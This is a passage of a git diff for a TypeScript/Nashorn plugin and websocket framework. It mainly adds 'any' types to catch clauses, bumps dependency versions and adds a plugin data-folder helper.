console.ex(error) return false diff --git a/packages/plugin/src/index.ts b/packages/plugin/src/index.ts index 08d821a9..7f5d7bab 100644 --- a/packages/plugin/src/index.ts +++ b/packages/plugin/src/index.ts @@ -2,12 +2,11 @@ import './scanner/file-scanner' import './loader/ioc-loader' import './loader/basic-loader' +export * from './config' export * from './manager' export * from './decorators' export * from './interfaces' -export { PluginConfig } from './config' - export { plugin as JSPlugin, cmd as Cmd, diff --git a/packages/plugin/src/interfaces.ts b/packages/plugin/src/interfaces.ts index 29b43bec..cb82edb2 100644 --- a/packages/plugin/src/interfaces.ts +++ b/packages/plugin/src/interfaces.ts @@ -2,6 +2,8 @@ import { server, MiaoScriptConsole, event, plugin } from "@ccms/api" import { injectable, inject, postConstruct } from "@ccms/container" import { getPluginMetadata } from "./utils" +const File = Java.type('java.io.File') + export namespace interfaces { @injectable() export abstract class Plugin implements plugin.Plugin { @@ -20,6 +22,12 @@ export namespace interfaces { this.logger = new this.Console(this.description.prefix || this.description.name) } + public getDataFolder() { + let parent = new File(this.description.source).parent + let dataFolder = new File(parent, this.description.name) + return dataFolder.getAbsolutePath() + } + public load() { } public enable() { } public disable() { } diff --git a/packages/plugin/src/loader/ioc-loader.ts b/packages/plugin/src/loader/ioc-loader.ts index 311c2bde..bb5ff234 100644 --- a/packages/plugin/src/loader/ioc-loader.ts +++ b/packages/plugin/src/loader/ioc-loader.ts @@ -38,7 +38,7 @@ export class IocLoader implements plugin.PluginLoader { console.i18n('ms.plugin.manager.build.not.extends', { source: metadata.source }) return } - } catch (ex) { + } catch (ex: any) { console.i18n("ms.plugin.manager.initialize.error", { name: metadata.name, ex }) console.ex(ex) } @@ -81,10 +81,10 @@ export class IocLoader implements plugin.PluginLoader { console.i18n("ms.plugin.manager.stage.exec", { plugin: pluginInstance.description.name, name: stage.executor, stage: stageName, servers: stage.servers }) try { pluginInstance[stage.executor].apply(pluginInstance) - } catch (error) { + } catch (error: any) { console.i18n("ms.plugin.manager.stage.exec.error", { plugin: pluginInstance.description.name, executor: stage.executor, error }) console.ex(error) } } } -} \ No newline at end of file +} diff --git a/packages/plugin/src/manager.ts b/packages/plugin/src/manager.ts index 696973d4..deaa8213 100644 --- a/packages/plugin/src/manager.ts +++ b/packages/plugin/src/manager.ts @@ -92,12 +92,12 @@ export class PluginManagerImpl implements plugin.PluginManager { plugins.forEach(loadMetadata => { try { this.loadAndRequirePlugin(loadMetadata) - } catch (error) { + } catch (error: any) { console.error(`plugin scanner ${scanner.type} load ${loadMetadata.file} occurred error ${error}`) console.ex(error) } }) - } catch (error) { + } catch (error: any) { console.error(`plugin scanner ${scanner.type} occurred error ${error}`) console.ex(error) } @@ -123,7 +123,7 @@ export class PluginManagerImpl implements plugin.PluginManager { this.runCatch(plugin, `${this.serverType}${stage}`) plugin.description.loadMetadata.loader[stage]?.(plugin) process.emit(`plugin.after.${stage}`, plugin) - } catch (ex) { + } catch (ex: any) { console.i18n("ms.plugin.manager.stage.exec.error", { plugin: plugin.description.name, executor: stage, error: ex }) if (global.debug) { console.ex(ex) } } @@ -136,7 +136,7 @@ export class PluginManagerImpl implements plugin.PluginManager { for (const [, loader] of this.loaderMap) { if (this.loaderRequirePlugin(loadMetadata, loader)?.loaded) return loadMetadata.metadata } - } catch (error) { + } catch (error: any) { console.i18n("ms.plugin.manager.initialize.error", { name: loadMetadata.file, ex: error }) console.ex(error) } @@ -156,7 +156,7 @@ export class PluginManagerImpl implements plugin.PluginManager { metadata.loadMetadata = loadMetadata } return loadMetadata - } catch (error) { + } catch (error: any) { if (global.debug) { console.console(`§6Loader §b${loader.type} §6load §a${loadMetadata.file} §cerror. §4Err: §c${error}`) console.ex(error) @@ -228,7 +228,7 @@ export class PluginManagerImpl implements plugin.PluginManager { private runCatch(pl: any, func: string) { try { if (pl[func]) pl[func].call(pl) - } catch (ex) { + } catch (ex: any) { console.i18n("ms.plugin.manager.stage.exec.error", { plugin: pl.description.name, executor: func, error: ex }) console.ex(ex) } @@ -279,7 +279,7 @@ export class PluginManagerImpl implements plugin.PluginManager { if (!pluginInstance) { throw new Error(`§4加载器 §c${metadata.type} §4加载插件 §c${metadata.name} §4失败!`) } this.instanceMap.set(metadata.name, pluginInstance) return pluginInstance - } catch (error) { + } catch (error: any) { console.console(`§4无法加载插件 §b${metadata.name} §4构建插件失败!`) console.ex(error) } diff --git a/packages/polyfill/package.json b/packages/polyfill/package.json index 433d5860..77284d8b 100644 --- a/packages/polyfill/package.json +++ b/packages/polyfill/package.json @@ -16,12 +16,12 @@ "dependencies": { "@ccms/i18n": "^0.17.0", "@ccms/nodejs": "^0.17.0", - "core-js": "^3.16.0" + "core-js": "^3.19.3" }, "devDependencies": { "@ccms/nashorn": "^0.17.0", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/polyfill/src/node-shim.ts b/packages/polyfill/src/node-shim.ts index 62bcbd03..7f27041f 100644 --- a/packages/polyfill/src/node-shim.ts +++ b/packages/polyfill/src/node-shim.ts @@ -39,10 +39,10 @@ class Process extends EventEmitter { return super.on(event, (...args) => { try { listener(...args) - } catch (origin) { + } catch (origin: any) { try { super.emit('error', origin) - } catch (error) { + } catch (error: any) { console.ex(origin) console.ex(error) } @@ -53,10 +53,10 @@ class Process extends EventEmitter { microTaskPool.execute(() => { try { func(args) - } catch (origin) { + } catch (origin: any) { try { super.emit('error', origin) - } catch (error) { + } catch (error: any) { console.ex(origin) console.ex(error) } @@ -96,16 +96,16 @@ class EventLoop { task = this.eventLoopTaskQueue.take() try { task.getTask()() - } catch (cause) { + } catch (cause: any) { try { process.emit('error', cause) - } catch (error) { + } catch (error: any) { console.error(cause) console.ex(cause) } } } - } catch (error) { + } catch (error: any) { console.log(`EventLoop Thread isInterrupted exit! remainTask: ${this.eventLoopTaskQueue.size()}`) this.eventLoopTaskQueue.clear() this.eventLoopTaskQueue = undefined @@ -143,18 +143,18 @@ class EventLoop { call: () => { try { callback.apply(undefined, args) - } catch (cause) { + } catch (cause: any) { cause = cause.getCause && cause.getCause() || cause try { process.emit('error', cause) - } catch (error) { + } catch (error: any) { console.error(cause) console.ex(cause) } } } })).get(this.taskExecTimeout, TimeUnit.SECONDS) - } catch (error) { + } catch (error: any) { if (error instanceof InterruptedException) { return console.warn(`FixedThreadPool isInterrupted exit! Task ${name} exec exit!`) } diff --git a/packages/polyfill/src/openjdk-nashorn-shim.ts b/packages/polyfill/src/openjdk-nashorn-shim.ts index 26391204..d8ce1fa2 100644 --- a/packages/polyfill/src/openjdk-nashorn-shim.ts +++ b/packages/polyfill/src/openjdk-nashorn-shim.ts @@ -2,6 +2,6 @@ try { Java.type('org.openjdk.nashorn.api.scripting.NashornScriptEngine') Object.setPrototypeOf = ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b }) -} catch (error) { +} catch (error: any) { } export { } diff --git a/packages/polyfill/src/xml-http-request.ts b/packages/polyfill/src/xml-http-request.ts index 0d292288..83e5bb26 100644 --- a/packages/polyfill/src/xml-http-request.ts +++ b/packages/polyfill/src/xml-http-request.ts @@ -226,7 +226,7 @@ export class XMLHttpRequest { } this.setResponseHeaders(this._connection.getHeaderFields()) this.onloadend && this.onloadend() - } catch (ex) { + } catch (ex: any) { if (ex instanceof SocketTimeoutException && this.ontimeout) { return this.ontimeout(ex) } else if (this.onerror) { diff --git a/packages/protocol/package.json b/packages/protocol/package.json index 0d000b9d..ddd60daa 100644 --- a/packages/protocol/package.json +++ b/packages/protocol/package.json @@ -22,6 +22,6 @@ "devDependencies": { "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/sponge/package.json b/packages/sponge/package.json index ed4a714a..f76b432c 100644 --- a/packages/sponge/package.json +++ b/packages/sponge/package.json @@ -22,7 +22,7 @@ "@javatypes/sponge-api": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/spring/package.json b/packages/spring/package.json index 3c66beed..d702e77c 100644 --- a/packages/spring/package.json +++ b/packages/spring/package.json @@ -21,7 +21,7 @@ "devDependencies": { "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/spring/src/index.ts b/packages/spring/src/index.ts index 65154e18..1eb14f44 100644 --- a/packages/spring/src/index.ts +++ b/packages/spring/src/index.ts @@ -15,7 +15,7 @@ export default function SpringImpl(container: Container) { require('@ccms/amqp') require('@ccms/database') require('./internal/scanner/mysql-scanner') - } catch (error) { + } catch (error: any) { console.ex(error) } const beanFactory = base.getInstance().getAutowireCapableBeanFactory() diff --git a/packages/spring/src/internal/command.ts b/packages/spring/src/internal/command.ts index 4f06b41f..1f927983 100644 --- a/packages/spring/src/internal/command.ts +++ b/packages/spring/src/internal/command.ts @@ -36,7 +36,7 @@ export class CommandMap { if (exists) { try { return exists.executor(sender, '', command, Java.to(args)) - } catch (error) { + } catch (error: any) { console.ex(error) } return true @@ -54,7 +54,7 @@ export class CommandMap { try { if (args.length !== index) { args.push('') } return exists.tabCompleter(sender, '', command, Java.to(args)) - } catch (error) { + } catch (error: any) { console.ex(error) } } @@ -76,4 +76,4 @@ export class SpringCommand { setExecutor = (executor: CommandExec) => this.executor = executor setTabCompleter = (tabCompleter: TabCompleter) => this.tabCompleter = tabCompleter toString = () => `SpringCommand(${this.name})` -} \ No newline at end of file +} diff --git a/packages/spring/src/task.ts b/packages/spring/src/task.ts index e74acc9f..356da015 100644 --- a/packages/spring/src/task.ts +++ b/packages/spring/src/task.ts @@ -58,22 +58,22 @@ export class SpringTask extends task.Task { if (this.laterTime > 0) { try { Thread.sleep(this.laterTime) - } catch (ex) { + } catch (ex: any) { Thread.currentThread().interrupt() } } while (this.running.get()) { try { this.func(...args) - } catch (t) { - console.error("Task exec error:", t) - console.ex(t) + } catch (ex: any) { + console.error("Task exec error:", ex) + console.ex(ex) } // If we have a interval of 0 or less, only run once if (this.interval <= 0) { break } try { Thread.sleep(this.interval) - } catch (ex) { + } catch (ex: any) { Thread.currentThread().interrupt() } } diff --git a/packages/web/package.json b/packages/web/package.json index 9d56e079..3a660e22 100644 --- a/packages/web/package.json +++ b/packages/web/package.json @@ -26,7 +26,7 @@ "@javatypes/tomcat": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" }, "dependencies": { "@ccms/api": "^0.17.0", diff --git a/packages/web/src/server.ts b/packages/web/src/server.ts index 07cf4c36..644fca8b 100644 --- a/packages/web/src/server.ts +++ b/packages/web/src/server.ts @@ -51,7 +51,7 @@ export class Server { try { this.beanFactory.destroySingleton(FilterProxyBeanName) this.beanFactory.destroySingleton(WebProxyBeanName) - } catch (error) { + } catch (error: any) { console.ex(error) } } @@ -160,7 +160,7 @@ export class Server { } private registryFilterProxy() { - try { this.beanFactory.destroySingleton(FilterProxyBeanName) } catch (ex) { } + try { this.beanFactory.destroySingleton(FilterProxyBeanName) } catch (ex: any) { } var WebFilterProxyNashorn = Java.extend(this.WebFilterProxy, { doFilter: (servletRequest: javax.servlet.http.HttpServletRequest, servletResponse: javax.servlet.http.HttpServletResponse, filterChain: javax.servlet.FilterChain) => { filterChain.doFilter(servletRequest, servletResponse) @@ -206,7 +206,7 @@ export class Server { } private registryWebProxy() { - try { this.beanFactory.destroySingleton(WebProxyBeanName) } catch (ex) { } + try { this.beanFactory.destroySingleton(WebProxyBeanName) } catch (ex: any) { } var WebServerProxyNashorn = Java.extend(this.WebServerProxy, { process: (req: javax.servlet.http.HttpServletRequest, resp: javax.servlet.http.HttpServletResponse) => { let ctx: Context = { request: req, response: resp, params: {}, body: {} } @@ -226,7 +226,7 @@ export class Server { if ((ctx.headers['Content-Type'] || '').includes('application/json')) { try { ctx.body = JSON.parse(ctx.body) - } catch (error) { + } catch (error: any) { return { status: 500, msg: `parse json body error: ${error}`, @@ -258,7 +258,7 @@ export class Server { console.debug(`[WARN] Interceptor ${interceptor.name} preHandle cost time ${preHandleTime}ms!`) } if (ctx.result) { return ctx.result } - } catch (error) { + } catch (error: any) { console.ex(error) return { status: 500, @@ -284,7 +284,7 @@ export class Server { if (preHandleTime > 20) { console.debug(`[WARN] Interceptor ${interceptor.name} preHandle cost time ${preHandleTime}ms!`) } - } catch (error) { + } catch (error: any) { return { status: 500, msg: `Interceptor ${interceptor.name} postHandle error: ${error}`, @@ -310,7 +310,7 @@ Handle Time : ${Date.now() - startTime}ms if (!ctx.handler) return this.notFound(ctx) try { return ctx.handler(ctx) - } catch (error) { + } catch (error: any) { return { status: 500, msg: '' + error, diff --git a/packages/websocket/package.json b/packages/websocket/package.json index 2a4328f8..60a53012 100644 --- a/packages/websocket/package.json +++ b/packages/websocket/package.json @@ -27,6 +27,6 @@ "@javatypes/tomcat-websocket-api": "^0.0.3", "reflect-metadata": "^0.1.13", "rimraf": "^3.0.2", - "typescript": "^4.3.5" + "typescript": "^4.5.3" } } diff --git a/packages/websocket/src/client/index.ts b/packages/websocket/src/client/index.ts index 54d898c9..8ae0bfb1 100644 --- a/packages/websocket/src/client/index.ts +++ b/packages/websocket/src/client/index.ts @@ -47,7 +47,7 @@ export class WebSocket extends EventEmitter { let TransportImpl = require('./netty').NettyWebSocket this.client = new TransportImpl(url, subProtocol, headers) console.debug('create websocket from ' + this.client.constructor.name) - } catch (error) { + } catch (error: any) { console.error('create websocket impl error: ' + error) console.ex(error) return diff --git a/packages/websocket/src/client/netty/index.ts b/packages/websocket/src/client/netty/index.ts index c4672b31..9dc6474f 100644 --- a/packages/websocket/src/client/netty/index.ts +++ b/packages/websocket/src/client/netty/index.ts @@ -31,7 +31,7 @@ var SslHandler: any try { SslContextBuilder = Java.type('io.netty.handler.ssl.SslContextBuilder') InsecureTrustManagerFactory = Java.type('io.netty.handler.ssl.util.InsecureTrustManagerFactory') -} catch (error) { +} catch (error: any) { SSLContext = Java.type('javax.net.ssl.SSLContext') SslHandler = Java.type('io.netty.handler.ssl.SslHandler') } @@ -45,7 +45,7 @@ try { const EpollSocketChannel = Java.type('io.netty.channel.epoll.EpollSocketChannel') group = epull ? new EpollEventLoopGroup() : new NioEventLoopGroup() socketChannelClass = epull ? EpollSocketChannel.class : NioSocketChannel.class -} catch (error) { +} catch (error: any) { group = new NioEventLoopGroup() socketChannelClass = NioSocketChannel.class } @@ -130,7 +130,7 @@ export class NettyWebSocket extends Transport { future.sync() // only trigger onconnect when not have error this.onconnect({}) - } catch (error) { + } catch (error: any) { // ignore error exceptionCaught from handler // this.onerror({ error }) } diff --git a/packages/websocket/src/client/transport.ts b/packages/websocket/src/client/transport.ts index b12356e2..8cfc9aa7 100644 --- a/packages/websocket/src/client/transport.ts +++ b/packages/websocket/src/client/transport.ts @@ -35,7 +35,7 @@ export abstract class Transport extends EventEmitter { console.debug(`client Transport connect`) try { this.doConnect() - } catch (error) { + } catch (error: any) { console.ex(error) this.onerror({ error }) } @@ -44,7 +44,7 @@ export abstract class Transport extends EventEmitter { send(text: string) { try { this.doSend(text) - } catch (error) { + } catch (error: any) { this.onerror({ error }) } } @@ -55,7 +55,7 @@ export abstract class Transport extends EventEmitter { try { this.onclose({ code, reason }) this.doClose(code, reason) - } catch (error) { + } catch (error: any) { this.onerror({ error }) } finally { this.removeAllListeners() diff --git a/packages/websocket/src/engine.io-client/socket.ts b/packages/websocket/src/engine.io-client/socket.ts index 1a11b538..4e047c19 100644 --- a/packages/websocket/src/engine.io-client/socket.ts +++ b/packages/websocket/src/engine.io-client/socket.ts @@ -191,8 +191,8 @@ export class Socket extends Emitter { // Retry with the next transport if the transport is disabled (jsonp: false) try { transport = this.createTransport(transport) - } catch (e) { - debug("error while creating transport: %s", e) + } catch (error: any) { + debug("error while creating transport: %s", error) this.transports.shift() this.open() return diff --git a/packages/websocket/src/engine.io-client/transports/websocket.ts b/packages/websocket/src/engine.io-client/transports/websocket.ts index 3d6ec804..78b63a3e 100644 --- a/packages/websocket/src/engine.io-client/transports/websocket.ts +++ b/packages/websocket/src/engine.io-client/transports/websocket.ts @@ -160,7 +160,7 @@ export class WS extends Transport { } else { this.ws.send(data, opts) } - } catch (e) { + } catch (error: any) { debug("websocket closed before onclose event") } diff --git a/packages/websocket/src/engine.io/server.ts b/packages/websocket/src/engine.io/server.ts index d0dff54a..ad921452 100644 --- a/packages/websocket/src/engine.io/server.ts +++ b/packages/websocket/src/engine.io/server.ts @@ -326,7 +326,7 @@ export class Server extends EventEmitter { let id try { id = this.generateId(req) - } catch (e) { + } catch (error: any) { console.debug("error while generating an id") this.emit("connection_error", { req, @@ -334,7 +334,7 @@ export class Server extends EventEmitter { message: Server.errorMessages[Server.errors.BAD_REQUEST], context: { name: "ID_GENERATION_ERROR", - error: e + error } }) closeConnection(Server.errors.BAD_REQUEST) @@ -360,7 +360,7 @@ export class Server extends EventEmitter { } else { transport.supportsBinary = true } - } catch (e) { + } catch (e: any) { console.ex(e) this.emit("connection_error", { req, diff --git a/packages/websocket/src/server/netty/client.ts b/packages/websocket/src/server/netty/client.ts index 5b9f18a8..98e1a5db 100644 --- a/packages/websocket/src/server/netty/client.ts +++ b/packages/websocket/src/server/netty/client.ts @@ -15,7 +15,7 @@ export class NettyClient extends WebSocketClient { try { this.channel.writeAndFlush(new TextWebSocketFrame(text)) callback?.() - } catch (error) { + } catch (error: any) { callback?.(error) } } diff --git a/packages/websocket/src/server/netty/constants.ts b/packages/websocket/src/server/netty/constants.ts index 249709d0..ccb1c5c3 100644 --- a/packages/websocket/src/server/netty/constants.ts +++ b/packages/websocket/src/server/netty/constants.ts @@ -7,7 +7,7 @@ export enum Keys { } let RequestAttributeKey: any -try { RequestAttributeKey = AttributeKey.valueOf('request') } catch (error) { } +try { RequestAttributeKey = AttributeKey.valueOf('request') } catch (error: any) { } export enum AttributeKeys { Request = RequestAttributeKey } diff --git a/packages/websocket/src/server/netty/index.ts b/packages/websocket/src/server/netty/index.ts index df4a9e4d..b3b10134 100644 --- a/packages/websocket/src/server/netty/index.ts +++ b/packages/websocket/src/server/netty/index.ts @@ -15,7 +15,7 @@ class NettyWebSocketServer extends WebSocketServer { protected initialize() { let connectEvent = this.options.event - try { this.instance.remove(Keys.Detect) } catch (error) { } + try { this.instance.remove(Keys.Detect) } catch (error: any) { } this.instance.addFirst(Keys.Detect, new WebSocketDetect(connectEvent).getHandler()) connectEvent.on(ServerEvent.detect, (ctx, channel) => { channel.pipeline().addFirst(Keys.Handler, new WebSocketHandler(this.options).getHandler()) @@ -38,7 +38,7 @@ class NettyWebSocketServer extends WebSocketServer { protected getId(ctx: any) { try { return ctx.channel().id() + '' - } catch (error) { + } catch (error: any) { console.log(Object.toString.apply(ctx)) console.ex(error) } diff --git a/packages/websocket/src/server/tomcat/client.ts b/packages/websocket/src/server/tomcat/client.ts index 6ad726cd..dd71474e 100644 --- a/packages/websocket/src/server/tomcat/client.ts +++ b/packages/websocket/src/server/tomcat/client.ts @@ -13,7 +13,7 @@ export class TomcatClient extends WebSocketClient { try { this.session.getBasicRemote().sendText(text) callback?.() - } catch (error) { + } catch (error: any) { callback?.(error) } }, this.session)() diff --git a/packages/websocket/src/server/tomcat/index.ts b/packages/websocket/src/server/tomcat/index.ts index ccceb44c..362e6d9f 100644 --- a/packages/websocket/src/server/tomcat/index.ts +++ b/packages/websocket/src/server/tomcat/index.ts @@ -17,7 +17,7 @@ class TomcatWebSocketServer extends WebSocketServer { protected initialize(): void { this.initThreadPool() - try { this.instance.destroySingleton(ProxyBeanName) } catch (error) { } + try { this.instance.destroySingleton(ProxyBeanName) } catch (error: any) { } let NashornWebSocketServerProxy = Java.extend(Java.type("pw.yumc.MiaoScript.websocket.WebSocketProxy"), { onOpen: (session: TomcatWebSocketSession) => { this.onconnect(session) diff --git a/packages/websocket/src/socket.io-parser/index.ts b/packages/websocket/src/socket.io-parser/index.ts index 02811751..5db1d8f3 100644 --- a/packages/websocket/src/socket.io-parser/index.ts +++ b/packages/websocket/src/socket.io-parser/index.ts @@ -265,7 +265,7 @@ export class Decoder extends EventEmitter { function tryParse(str) { try { return JSON.parse(str) - } catch (e) { + } catch (error: any) { return false } } diff --git a/packages/websocket/src/socket.io/client.ts b/packages/websocket/src/socket.io/client.ts index b31a43e0..11c7aa33 100644 --- a/packages/websocket/src/socket.io/client.ts +++ b/packages/websocket/src/socket.io/client.ts @@ -248,8 +248,8 @@ export class Client< // try/catch is needed for protocol violations (GH-1880) try { this.decoder.add(data) - } catch (e) { - this.onerror(e) + } catch (error: any) { + this.onerror(error) } }